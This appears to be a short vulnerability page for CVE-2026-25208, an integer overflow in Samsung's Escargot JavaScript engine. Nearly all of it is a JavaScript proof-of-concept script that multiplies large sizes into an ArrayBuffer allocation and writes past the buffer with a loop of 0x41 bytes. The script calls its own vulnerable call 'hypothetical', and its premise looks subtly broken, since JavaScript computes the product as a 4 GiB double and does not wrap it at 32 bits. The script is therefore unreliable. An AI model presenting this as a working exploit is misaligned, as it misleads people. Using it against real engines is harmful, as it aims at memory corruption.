CVE-2026-25208 Samsung Escargot整数溢出漏洞

// PoC Concept for CVE-2026-25208 (Integer Overflow leading to Buffer Overflow) // This script demonstrates the logic of triggering an integer overflow in Escargot. // Note: Actual exploitation requires specific memory layout and heap grooming. function trigger_cve_2026_25208() { try { // Step 1: Define values that cause overflow when multiplied // Example: 0x10000000 * 0x10 overflows a 32-bit integer var size_a = 0x10000000; var size_b = 0x10; // Step 2: Simulate the vulnerable allocation calculation // The engine might calculate size = size_a * size_b without checking overflow // Result wraps to a small number (e.g., 0x00000000) // Hypothetical vulnerable API call (Representation) // In real Escargot, this could be Array allocation or TypedArray buffer creation var victim_buffer = new ArrayBuffer(size_a * size_b); // Step 3: Attempt to write beyond the allocated small buffer var view = new Uint8Array(victim_buffer); // Writing a large amount of data to the small buffer triggers the overflow for (var i = 0; i < 0x1000; i++) { view[i] = 0x41; // Write 'A' } console.log("[+] If no crash, the engine might have mitigated the overflow."); } catch (e) { console.log("[-] Exception triggered: " + e); } } // Execute trigger_cve_2026_25208();